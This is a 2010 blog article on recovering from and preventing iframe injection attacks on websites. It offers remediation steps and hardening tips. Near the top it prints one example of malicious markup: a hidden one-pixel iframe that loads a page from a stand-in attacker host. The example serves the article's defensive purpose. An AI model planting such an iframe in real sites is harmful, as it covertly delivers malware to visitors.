IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks PDF Print
Hits : 9391
Written by Vijay Patil   
Wednesday, 24 March 2010 17:25
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.
{xtypo_code}
<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code
{/xtypo_code}

1. Take your website down for a certain period

It is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.

2. Change all the passwords

Although this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.

3. Take a copy of the affected website for further analysis

You may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.

4. Replace the entire site with a clean backup copy

Do not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.

5. Test the website and reopen

This is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.

6. Analyse how the attack was originated

In order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.

7. Perform appropriate security measures based on the analysis

Although you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attacked again in the near future. Therefore, it is recommended that you perform necessary security measures, be it hardening your web server, upgrading an application, or introducing new security restrictions.

Some advice

I have encountered and recovered quite a few websites that had been attacked by malicious iframe exploit in the recent years. And the common causes seem to be as follows:

  • The website is hosted on a cheap web hosting service
  • The website is using an old version of an open source application (eg: WordPress 1.0) which has known security issues
  • File permissions on the server are not set accordingly (eg: every file and folder on the server is set to 777 - read-write-execute)
  • Weakness in an application code. For example, there is not sufficient input validation.
  • FTP rather than SFTP is used
  • There is no IP restriction for SSH and FTP accounts

There are a few simple things that can be done to reduce the risk of your website being attacked.

  • Change your passwords periodically (say, at least once a month)
  • Keep your applications up-to-date. Always upgrade immediately when a new version is available.
  • Clean up files and directories on the web server. Make sure there is no old file with .bak or .txt extensions lying around
  • Ensure that appropriate file permissions are used for every file and directory on the web server
  • Consult with a security expert to obtain the best advice

Share this post

Submit to Delicious Submit to Digg Submit to Facebook Submit to Google Bookmarks Submit to Stumbleupon Submit to Technorati Submit to Twitter Submit to LinkedIn